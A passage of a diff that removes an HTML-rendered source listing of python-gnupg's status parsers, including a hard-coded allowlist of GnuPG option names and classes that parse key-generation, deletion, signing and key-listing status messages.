sets, i.e. because certain options</span> -<span class="sd"> (namedly the ``--no-options`` option, which prevents the usage of gpg.conf</span> -<span class="sd"> files) are necessary and statically specified in</span> -<span class="sd"> :meth:`gnupg._meta.GPGBase._make_args`, if the inputs into Python are</span> -<span class="sd"> already controlled, and we were to summon the GnuPG binary to ask it for</span> -<span class="sd"> its options, it would be possible to receive a falsified options set</span> -<span class="sd"> missing the ``--no-options`` option in response. This seems unlikely, and</span> -<span class="sd"> the method is stupid and ugly, but at least we'll never have to debug</span> -<span class="sd"> whether or not an option *actually* disappeared in a different GnuPG</span> -<span class="sd"> version, or some funny business is happening.</span> - -<span class="sd"> These are the options as of GnuPG 1.4.12; the current stable branch of the</span> -<span class="sd"> 2.1.x tree contains a few more -- if you need them you'll have to add them</span> -<span class="sd"> in here.</span> - -<span class="sd"> :type gnupg_options: frozenset</span> -<span class="sd"> :ivar gnupg_options: All known GPG options and flags.</span> -<span class="sd"> :rtype: frozenset</span> -<span class="sd"> :returns: ``gnupg_options``</span> -<span class="sd"> """</span> - <span class="n">three_hundred_eighteen</span> <span class="o">=</span> <span class="p">(</span><span class="s">"""</span> -<span class="s">--allow-freeform-uid --multifile</span> -<span class="s">--allow-multiple-messages --no</span> -<span class="s">--allow-multisig-verification --no-allow-freeform-uid</span> -<span class="s">--allow-non-selfsigned-uid --no-allow-multiple-messages</span> -<span class="s">--allow-secret-key-import --no-allow-non-selfsigned-uid</span> -<span class="s">--always-trust --no-armor</span> -<span class="s">--armor --no-armour</span> -<span class="s">--armour --no-ask-cert-expire</span> -<span class="s">--ask-cert-expire --no-ask-cert-level</span> -<span class="s">--ask-cert-level --no-ask-sig-expire</span> -<span class="s">--ask-sig-expire --no-auto-check-trustdb</span> -<span class="s">--attribute-fd --no-auto-key-locate</span> -<span class="s">--attribute-file --no-auto-key-retrieve</span> -<span class="s">--auto-check-trustdb --no-batch</span> -<span class="s">--auto-key-locate --no-comments</span> -<span class="s">--auto-key-retrieve --no-default-keyring</span> -<span class="s">--batch --no-default-recipient</span> -<span class="s">--bzip2-compress-level --no-disable-mdc</span> -<span class="s">--bzip2-decompress-lowmem --no-emit-version</span> -<span class="s">--card-edit --no-encrypt-to</span> -<span class="s">--card-status --no-escape-from-lines</span> -<span class="s">--cert-digest-algo --no-expensive-trust-checks</span> -<span class="s">--cert-notation --no-expert</span> -<span class="s">--cert-policy-url --no-force-mdc</span> -<span class="s">--change-pin --no-force-v3-sigs</span> -<span class="s">--charset --no-force-v4-certs</span> -<span class="s">--check-sig --no-for-your-eyes-only</span> -<span class="s">--check-sigs --no-greeting</span> -<span class="s">--check-trustdb --no-groups</span> -<span class="s">--cipher-algo --no-literal</span> -<span class="s">--clearsign --no-mangle-dos-filenames</span> -<span class="s">--command-fd --no-mdc-warning</span> -<span class="s">--command-file --no-options</span> -<span class="s">--comment --no-permission-warning</span> -<span class="s">--completes-needed --no-pgp2</span> -<span class="s">--compress-algo --no-pgp6</span> -<span class="s">--compression-algo --no-pgp7</span> -<span class="s">--compress-keys --no-pgp8</span> -<span class="s">--compress-level --no-random-seed-file</span> -<span class="s">--compress-sigs --no-require-backsigs</span> -<span class="s">--ctapi-driver --no-require-cross-certification</span> -<span class="s">--dearmor --no-require-secmem</span> -<span class="s">--dearmour --no-rfc2440-text</span> -<span class="s">--debug --no-secmem-warning</span> -<span class="s">--debug-all --no-show-notation</span> -<span class="s">--debug-ccid-driver --no-show-photos</span> -<span class="s">--debug-level --no-show-policy-url</span> -<span class="s">--decrypt --no-sig-cache</span> -<span class="s">--decrypt-files --no-sig-create-check</span> -<span class="s">--default-cert-check-level --no-sk-comments</span> -<span class="s">--default-cert-expire --no-strict</span> -<span class="s">--default-cert-level --notation-data</span> -<span class="s">--default-comment --not-dash-escaped</span> -<span class="s">--default-key --no-textmode</span> -<span class="s">--default-keyserver-url --no-throw-keyid</span> -<span class="s">--default-preference-list --no-throw-keyids</span> -<span class="s">--default-recipient --no-tty</span> -<span class="s">--default-recipient-self --no-use-agent</span> -<span class="s">--default-sig-expire --no-use-embedded-filename</span> -<span class="s">--delete-keys --no-utf8-strings</span> -<span class="s">--delete-secret-and-public-keys --no-verbose</span> -<span class="s">--delete-secret-keys --no-version</span> -<span class="s">--desig-revoke --openpgp</span> -<span class="s">--detach-sign --options</span> -<span class="s">--digest-algo --output</span> -<span class="s">--disable-ccid --override-session-key</span> -<span class="s">--disable-cipher-algo --passphrase</span> -<span class="s">--disable-dsa2 --passphrase-fd</span> -<span class="s">--disable-mdc --passphrase-file</span> -<span class="s">--disable-pubkey-algo --passphrase-repeat</span> -<span class="s">--display --pcsc-driver</span> -<span class="s">--display-charset --personal-cipher-preferences</span> -<span class="s">--dry-run --personal-cipher-prefs</span> -<span class="s">--dump-options --personal-compress-preferences</span> -<span class="s">--edit-key --personal-compress-prefs</span> -<span class="s">--emit-version --personal-digest-preferences</span> -<span class="s">--enable-dsa2 --personal-digest-prefs</span> -<span class="s">--enable-progress-filter --pgp2</span> -<span class="s">--enable-special-filenames --pgp6</span> -<span class="s">--enarmor --pgp7</span> -<span class="s">--enarmour --pgp8</span> -<span class="s">--encrypt --photo-viewer</span> -<span class="s">--encrypt-files --pipemode</span> -<span class="s">--encrypt-to --preserve-permissions</span> -<span class="s">--escape-from-lines --primary-keyring</span> -<span class="s">--exec-path --print-md</span> -<span class="s">--exit-on-status-write-error --print-mds</span> -<span class="s">--expert --quick-random</span> -<span class="s">--export --quiet</span> -<span class="s">--export-options --reader-port</span> -<span class="s">--export-ownertrust --rebuild-keydb-caches</span> -<span class="s">--export-secret-keys --recipient</span> -<span class="s">--export-secret-subkeys --recv-keys</span> -<span class="s">--fast-import --refresh-keys</span> -<span class="s">--fast-list-mode --remote-user</span> -<span class="s">--fetch-keys --require-backsigs</span> -<span class="s">--fingerprint --require-cross-certification</span> -<span class="s">--fixed-list-mode --require-secmem</span> -<span class="s">--fix-trustdb --rfc1991</span> -<span class="s">--force-mdc --rfc2440</span> -<span class="s">--force-ownertrust --rfc2440-text</span> -<span class="s">--force-v3-sigs --rfc4880</span> -<span class="s">--force-v4-certs --run-as-shm-coprocess</span> -<span class="s">--for-your-eyes-only --s2k-cipher-algo</span> -<span class="s">--gen-key --s2k-count</span> -<span class="s">--gen-prime --s2k-digest-algo</span> -<span class="s">--gen-random --s2k-mode</span> -<span class="s">--gen-revoke --search-keys</span> -<span class="s">--gnupg --secret-keyring</span> -<span class="s">--gpg-agent-info --send-keys</span> -<span class="s">--gpgconf-list --set-filename</span> -<span class="s">--gpgconf-test --set-filesize</span> -<span class="s">--group --set-notation</span> -<span class="s">--help --set-policy-url</span> -<span class="s">--hidden-encrypt-to --show-keyring</span> -<span class="s">--hidden-recipient --show-notation</span> -<span class="s">--homedir --show-photos</span> -<span class="s">--honor-http-proxy --show-policy-url</span> -<span class="s">--ignore-crc-error --show-session-key</span> -<span class="s">--ignore-mdc-error --sig-keyserver-url</span> -<span class="s">--ignore-time-conflict --sign</span> -<span class="s">--ignore-valid-from --sign-key</span> -<span class="s">--import --sig-notation</span> -<span class="s">--import-options --sign-with</span> -<span class="s">--import-ownertrust --sig-policy-url</span> -<span class="s">--interactive --simple-sk-checksum</span> -<span class="s">--keyid-format --sk-comments</span> -<span class="s">--keyring --skip-verify</span> -<span class="s">--keyserver --status-fd</span> -<span class="s">--keyserver-options --status-file</span> -<span class="s">--lc-ctype --store</span> -<span class="s">--lc-messages --strict</span> -<span class="s">--limit-card-insert-tries --symmetric</span> -<span class="s">--list-config --temp-directory</span> -<span class="s">--list-key --textmode</span> -<span class="s">--list-keys --throw-keyid</span> -<span class="s">--list-only --throw-keyids</span> -<span class="s">--list-options --trustdb-name</span> -<span class="s">--list-ownertrust --trusted-key</span> -<span class="s">--list-packets --trust-model</span> -<span class="s">--list-public-keys --try-all-secrets</span> -<span class="s">--list-secret-keys --ttyname</span> -<span class="s">--list-sig --ttytype</span> -<span class="s">--list-sigs --ungroup</span> -<span class="s">--list-trustdb --update-trustdb</span> -<span class="s">--load-extension --use-agent</span> -<span class="s">--local-user --use-embedded-filename</span> -<span class="s">--lock-multiple --user</span> -<span class="s">--lock-never --utf8-strings</span> -<span class="s">--lock-once --verbose</span> -<span class="s">--logger-fd --verify</span> -<span class="s">--logger-file --verify-files</span> -<span class="s">--lsign-key --verify-options</span> -<span class="s">--mangle-dos-filenames --version</span> -<span class="s">--marginals-needed --warranty</span> -<span class="s">--max-cert-depth --with-colons</span> -<span class="s">--max-output --with-fingerprint</span> -<span class="s">--merge-only --with-key-data</span> -<span class="s">--min-cert-level --yes</span> -<span class="s">"""</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - - <span class="c"># These are extra options which only exist for GnuPG>=2.0.0</span> - <span class="n">three_hundred_eighteen</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--export-ownertrust'</span><span class="p">)</span> - <span class="n">three_hundred_eighteen</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--import-ownertrust'</span><span class="p">)</span> - - <span class="n">gnupg_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">(</span><span class="n">three_hundred_eighteen</span><span class="p">)</span> - <span class="k">return</span> <span class="n">gnupg_options</span> -</div> -<div class="viewcode-block" id="nodata"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.nodata">[docs]</a><span class="k">def</span> <span class="nf">nodata</span><span class="p">(</span><span class="n">status_code</span><span class="p">):</span> - <span class="sd">"""Translate NODATA status codes from GnuPG to messages."""</span> - <span class="n">lookup</span> <span class="o">=</span> <span class="p">{</span> - <span class="s">'1'</span><span class="p">:</span> <span class="s">'No armored data.'</span><span class="p">,</span> - <span class="s">'2'</span><span class="p">:</span> <span class="s">'Expected a packet but did not find one.'</span><span class="p">,</span> - <span class="s">'3'</span><span class="p">:</span> <span class="s">'Invalid packet found, this may indicate a non OpenPGP message.'</span><span class="p">,</span> - <span class="s">'4'</span><span class="p">:</span> <span class="s">'Signature expected but not found.'</span> <span class="p">}</span> - <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">lookup</span><span class="o">.</span><span class="n">items</span><span class="p">():</span> - <span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">status_code</span><span class="p">)</span> <span class="o">==</span> <span class="n">key</span><span class="p">:</span> - <span class="k">return</span> <span class="n">value</span> -</div> -<div class="viewcode-block" id="progress"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.progress">[docs]</a><span class="k">def</span> <span class="nf">progress</span><span class="p">(</span><span class="n">status_code</span><span class="p">):</span> - <span class="sd">"""Translate PROGRESS status codes from GnuPG to messages."""</span> - <span class="n">lookup</span> <span class="o">=</span> <span class="p">{</span> - <span class="s">'pk_dsa'</span><span class="p">:</span> <span class="s">'DSA key generation'</span><span class="p">,</span> - <span class="s">'pk_elg'</span><span class="p">:</span> <span class="s">'Elgamal key generation'</span><span class="p">,</span> - <span class="s">'primegen'</span><span class="p">:</span> <span class="s">'Prime generation'</span><span class="p">,</span> - <span class="s">'need_entropy'</span><span class="p">:</span> <span class="s">'Waiting for new entropy in the RNG'</span><span class="p">,</span> - <span class="s">'tick'</span><span class="p">:</span> <span class="s">'Generic tick without any special meaning - still working.'</span><span class="p">,</span> - <span class="s">'starting_agent'</span><span class="p">:</span> <span class="s">'A gpg-agent was started.'</span><span class="p">,</span> - <span class="s">'learncard'</span><span class="p">:</span> <span class="s">'gpg-agent or gpgsm is learning the smartcard data.'</span><span class="p">,</span> - <span class="s">'card_busy'</span><span class="p">:</span> <span class="s">'A smartcard is still working.'</span> <span class="p">}</span> - <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">lookup</span><span class="o">.</span><span class="n">items</span><span class="p">():</span> - <span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">status_code</span><span class="p">)</span> <span class="o">==</span> <span class="n">key</span><span class="p">:</span> - <span class="k">return</span> <span class="n">value</span> - -</div> -<div class="viewcode-block" id="GenKey"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.GenKey">[docs]</a><span class="k">class</span> <span class="nc">GenKey</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Handle status messages for key generation.</span> - -<span class="sd"> Calling the ``__str__()`` method of this class will return the generated</span> -<span class="sd"> key's fingerprint, or a status string explaining the results.</span> -<span class="sd"> """</span> - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="c">## this should get changed to something more useful, like 'key_type'</span> - <span class="c">#: 'P':= primary, 'S':= subkey, 'B':= both</span> - <span class="bp">self</span><span class="o">.</span><span class="n">type</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">subkey_created</span> <span class="o">=</span> <span class="bp">False</span> - <span class="bp">self</span><span class="o">.</span><span class="n">primary_created</span> <span class="o">=</span> <span class="bp">False</span> - <span class="c">#: This will store the key's public keyring filename, if</span> - <span class="c">#: :meth:`~gnupg.GPG.gen_key_input` was called with</span> - <span class="c">#: ``separate_keyring=True``.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">keyring</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: This will store the key's secret keyring filename, if :</span> - <span class="c">#: :meth:`~gnupg.GPG.gen_key_input` was called with</span> - <span class="c">#: ``separate_keyring=True``.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">secring</span> <span class="o">=</span> <span class="bp">None</span> - - <span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">:</span> <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> - <span class="n">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span> - - <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">status</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">False</span> - -<div class="viewcode-block" id="GenKey._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.GenKey._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"GOOD_PASSPHRASE"</span><span class="p">):</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEY_NOT_CREATED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'key not created'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEY_CREATED"</span><span class="p">:</span> - <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">type</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'key created'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NODATA"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="n">nodata</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"PROGRESS"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="n">progress</span><span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">type</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'B'</span><span class="p">,</span> <span class="s">'P'</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">primary_created</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">type</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'B'</span><span class="p">,</span> <span class="s">'S'</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">subkey_created</span> <span class="o">=</span> <span class="bp">True</span> -</div></div> -<div class="viewcode-block" id="DeleteResult"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.DeleteResult">[docs]</a><span class="k">class</span> <span class="nc">DeleteResult</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Handle status messages for --delete-keys and --delete-secret-keys"""</span> - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'ok'</span> - - <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">status</span> - - <span class="n">problem_reason</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'1'</span><span class="p">:</span> <span class="s">'No such key'</span><span class="p">,</span> - <span class="s">'2'</span><span class="p">:</span> <span class="s">'Must delete secret key first'</span><span class="p">,</span> - <span class="s">'3'</span><span class="p">:</span> <span class="s">'Ambigious specification'</span><span class="p">,</span> <span class="p">}</span> - -<div class="viewcode-block" id="DeleteResult._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.DeleteResult._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"DELETE_PROBLEM"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">problem_reason</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="s">"Unknown error: </span><span class="si">%r</span><span class="s">"</span> - <span class="o">%</span> <span class="n">value</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span> -</div></div> -<div class="viewcode-block" id="Sign"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Sign">[docs]</a><span class="k">class</span> <span class="nc">Sign</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Parse GnuPG status messages for signing operations.</span> - -<span class="sd"> :param gpg: An instance of :class:`gnupg.GPG`.</span> -<span class="sd"> """</span> - - <span class="c">#: The type of signature created.</span> - <span class="n">sig_type</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The algorithm used to create the signature.</span> - <span class="n">sig_algo</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The hash algorithm used to create the signature.</span> - <span class="n">sig_hash_also</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The fingerprint of the signing keyid.</span> - <span class="n">fingerprint</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The timestamp on the signature.</span> - <span class="n">timestamp</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: xxx fill me in</span> - <span class="n">what</span> <span class="o">=</span> <span class="bp">None</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - - <span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Override the determination for truthfulness evaluation.</span> - -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if we have a valid signature, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> - <span class="n">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span> - - <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">data</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span><span class="o">.</span><span class="n">_encoding</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span><span class="o">.</span><span class="n">_decode_errors</span><span class="p">)</span> - -<div class="viewcode-block" id="Sign._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Sign._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"USERID_HINT"</span><span class="p">,</span> <span class="s">"NEED_PASSPHRASE"</span><span class="p">,</span> <span class="s">"BAD_PASSPHRASE"</span><span class="p">,</span> - <span class="s">"GOOD_PASSPHRASE"</span><span class="p">,</span> <span class="s">"BEGIN_SIGNING"</span><span class="p">,</span> <span class="s">"CARDCTRL"</span><span class="p">,</span> - <span class="s">"INV_SGNR"</span><span class="p">,</span> <span class="s">"SIGEXPIRED"</span><span class="p">):</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"SIG_CREATED"</span><span class="p">:</span> - <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">sig_type</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">sig_algo</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">sig_hash_algo</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">what</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">timestamp</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEYEXPIRED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">"skipped signing key, key expired"</span> - <span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">+=</span> <span class="s">" on {}"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEYREVOKED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">"skipped signing key, key revoked"</span> - <span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">+=</span> <span class="s">" on {}"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NODATA"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="n">nodata</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span> -</div></div> -<div class="viewcode-block" id="ListKeys"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys">[docs]</a><span class="k">class</span> <span class="nc">ListKeys</span><span class="p">(</span><span class="nb">list</span><span class="p">):</span> - <span class="sd">"""Handle status messages for --list-keys.</span> - -<span class="sd"> Handles pub and uid (relating the latter to the former). Don't care about</span> -<span class="sd"> the following attributes/status messages (from doc/DETAILS):</span> - -<span class="sd"> | crt = X.509 certificate</span> -<span class="sd"> | crs = X.509 certificate and private key available</span> -<span class="sd"> | ssb = secret subkey (secondary key)</span> -<span class="sd"> | uat = user attribute (same as user id except for field 10).</span> -<span class="sd"> | sig = signature</span> -<span class="sd"> | rev = revocation signature</span> -<span class="sd"> | pkd = public key data (special field format, see below)</span> -<span class="sd"> | grp = reserved for gpgsm</span> -<span class="sd"> | rvk = revocation key</span> -<span class="sd"> """</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="nb">super</span><span class="p">(</span><span class="n">ListKeys</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="n">__init__</span><span class="p">()</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fingerprints</span> <span class="o">=</span> <span class="p">[]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">uids</span> <span class="o">=</span> <span class="p">[]</span> - -<div class="viewcode-block" id="ListKeys.key"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys.key">[docs]</a> <span class="k">def</span> <span class="nf">key</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">):</span> - <span class="nb">vars</span> <span class="o">=</span> <span class="p">(</span><span class="s">"""</span> -<span class="s"> type trust length algo keyid date expires dummy ownertrust uid</span> -<span class="s"> """</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span> <span class="o">=</span> <span class="p">{}</span> - <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="nb">vars</span><span class="p">)):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="nb">vars</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'uids'</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'uid'</span><span class="p">]:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span 